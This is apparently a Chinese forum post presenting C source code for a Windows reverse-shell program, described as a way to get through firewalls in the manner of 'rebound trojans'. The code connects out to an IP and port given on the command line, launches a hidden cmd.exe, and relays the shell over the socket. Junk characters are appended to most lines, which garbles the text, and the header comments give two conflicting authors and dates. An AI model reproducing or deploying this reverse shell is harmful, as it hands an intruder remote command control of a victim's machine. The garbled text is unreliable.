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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X"_,#3Ko!  
`o~ dQb/k+  
/* ============================== 2ghTAsUx9  
Rebound port in Windows NT (gN[<QL  
By wind,2006/7 *J^l r"%c  
===============================*/ o5=1  
#include Q9,H 0r-%  
#include lS"g[O+  
)~/;Xl#b-  
#pragma comment(lib,"wsock32.lib") 3ZdheenK9  
~)>O=nR  
void OutputShell(); #oBMA  
SOCKET sClient; DUBEh@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZH'- >/  
?,G CR1|4  
void main(int argc,char **argv) HJ4T! `'d  
{ ^s*j<fH  
WSADATA stWsaData; anDwv }  
int nRet; i-1lppI  
SOCKADDR_IN stSaiClient,stSaiServer;  mZGAl1`8  
.m--# r  
if(argc != 3) ! 6y<jJ>  
{ 0 *!CJ;%N  
printf("Useage:\n\rRebound DestIP DestPort\n"); b4NUx)%ln  
return; |'@c ~yc  
} #4hxbRN  
tA#7Xr+  
WSAStartup(MAKEWORD(2,2),&stWsaData); 5f5bhBZ<  
n~~0iU )  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /S4$qr cM  
j1/.3\  
stSaiClient.sin_family = AF_INET; u,h,;'J  
stSaiClient.sin_port = htons(0); Ns?qLSN  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L~x PIu  
 pkWJb!  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l!r2[T]I@7  
{ 5:3%RTLG  
printf("Bind Socket Failed!\n"); Wh PwD6l>  
return; 3FWl_d~uD  
} sEBZ-qql  
Hn~=O8/2  
stSaiServer.sin_family = AF_INET; o1jDQ+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); TL^af-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nR%ASUx:Y  
06hzCWm#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .M Ni)+  
{ QGv$~A[h  
printf("Connect Error!"); D,cGW,2Nv  
return; .KzGb4U  
} Af *e:}}  
OutputShell(); rByC6HV"  
} -e#~CE-  
hN0Y8Ia/5%  
void OutputShell() <P)U Ggd  
{ 8GRp1'\Hi  
char szBuff[1024]; %V40I{1  
SECURITY_ATTRIBUTES stSecurityAttributes; g&z)y  
OSVERSIONINFO stOsversionInfo; Z0o+&3a6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7Jm&z/  
STARTUPINFO stStartupInfo; <i~O0f]   
char *szShell; OnD!*jy  
PROCESS_INFORMATION stProcessInformation; (_:k s  
unsigned long lBytesRead; 9VqE:c /  
N(*Xjy+PX  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %BdQ.\4DS  
&b!L$@6  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !m7`E  
stSecurityAttributes.lpSecurityDescriptor = 0; ].E89_|O  
stSecurityAttributes.bInheritHandle = TRUE; jZRf{  
FG-v71!h#  
q_0So}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I` `S%`h  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YH_mWN\Wu  
+sN'Y/-  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); aT9+] Ig  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qN5 ru2  
stStartupInfo.wShowWindow = SW_HIDE; ^]x%z*6  
stStartupInfo.hStdInput = hReadPipe; <Mdyz!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j@yK#==k  
+>zjTP7\e"  
GetVersionEx(&stOsversionInfo); 8KxBN)fO;  
|I; tBqN{u  
switch(stOsversionInfo.dwPlatformId) />wM#)o2  
{ HIK" Ce  
case 1: )<J|kC\r6c  
szShell = "command.com"; j`fQN  
break; ;m/h?Y~  
default: ld RV JVZc  
szShell = "cmd.exe"; Z%h _g-C  
break; [ " n+2;  
} +[LG>  
U;o$=,_p  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bn$('  
z%lu%   
send(sClient,szMsg,77,0); n*'i{P]  
while(1) ]4{ )VXod  
{ Y]zy=8q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); DC&3=Nd  
if(lBytesRead) pQQN8Y~^Y  
{ hxCSE$f4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |2i=oX(r|  
send(sClient,szBuff,lBytesRead,0); wiwAdYEQ\  
} dC&OjBQ  
else qh|t}#DrR  
{ Ry$zF~[   
lBytesRead=recv(sClient,szBuff,1024,0); we4k VAn  
if(lBytesRead<=0) break; !ucHLo3:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `"7}'|  
} 7P+qPcRaP  
} n@TK}?\UoR  
jOkc'  
return; ,A$#gLyk<  
}
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